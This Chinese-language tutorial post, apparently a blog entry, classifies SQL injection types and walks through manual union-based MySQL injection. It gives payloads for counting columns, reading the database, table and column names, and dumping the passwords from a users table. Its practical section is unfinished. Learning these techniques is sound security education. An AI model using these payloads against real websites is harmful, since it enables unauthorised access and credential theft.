0x00 SQL注入的分类:

(1)基于从服务器接收到的响应

        ▲基于错误的 SQL 注入

        ▲联合查询的类型

        ▲堆查询注射

        ▲SQL 盲注

            •基于布尔 SQL 盲注

            •基于时间的 SQL 盲注

            •基于报错的 SQL 盲注

(2)基于如何处理输入的 SQL 查询(数据类型)

        •基于字符串

        •数字或整数为基础的

(3)基于程度和顺序的注入(哪里发生了影响)

        ★一阶注射

        ★二阶注射

(4)基于注入点的位置上的

        ▲通过用户输入的表单域的注射。

        ▲通过 cookie 注射。

        ▲通过服务器变量注射。 (基于头部信息的注射)

0x01 MYSQL 手工注入流程——基于错误的 SQL 注入

(1)闭合方式:

首先,需要确定SQL语句的闭合方式,常见闭合方式有:

$sql=”SELECT * FROM users WHERE id=’$id’ LIMIT 0,1″;    

$sql=”SELECT * FROM users WHERE id=”$id” LIMIT 0,1″;    

$sql=”SELECT * FROM users WHERE id=(‘$id’) LIMIT 0,1″;    

$sql=”SELECT * FROM users WHERE id=(“$id”) LIMIT 0,1″;    

(2)order by 查字段数

举例:

?id=1′ order by 4–+  //返回Ture(这里的–+可以替换为#,都是注释符的意思)

?id=1′ order by 5–+  //返回False

说明字段数为4

(3)确定数据显示位置

?id=0′ union select 1,2,3,4–+

通过,1,2,3,4的显示效果,确定要在哪个数字上面做改动

(4)查询当前数据库名

?id=0′ union select 1,2,3,database()–+    

(这里假设,该页面只能将4号位置的数据显示出来,所以只需要对4号位置的数据做改动)

(5)查询当前数据库的所有表名

0′ union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() –+

(6)查指定表名的所有字段名

0′ union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=”users” –+

(7)查指定表的指定字段的所有内容

0′ union select 1,2,3,group_concat(password) from users –+

(8)上面的情况是数据很少的时候,可以把指定字段的所有内容显示出来,但是有可能数据太多,不容易分辨,那么就可以在语句后面加上查询数量的限制

1)0′ union select 1,2,3,password from users limit 0,1–+

2)0′ union select 1,2,3,password from users limit 1,1–+

3)0′ union select 1,2,3,password from users limit 2,1–+

0x02 MYSQL 手工注入实战——基于错误的 SQL 注入

这里暂时还没写好,等之后补充进来。

版权声明:本文为-mo-原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://www.cnblogs.com/-mo-/p/11192244.html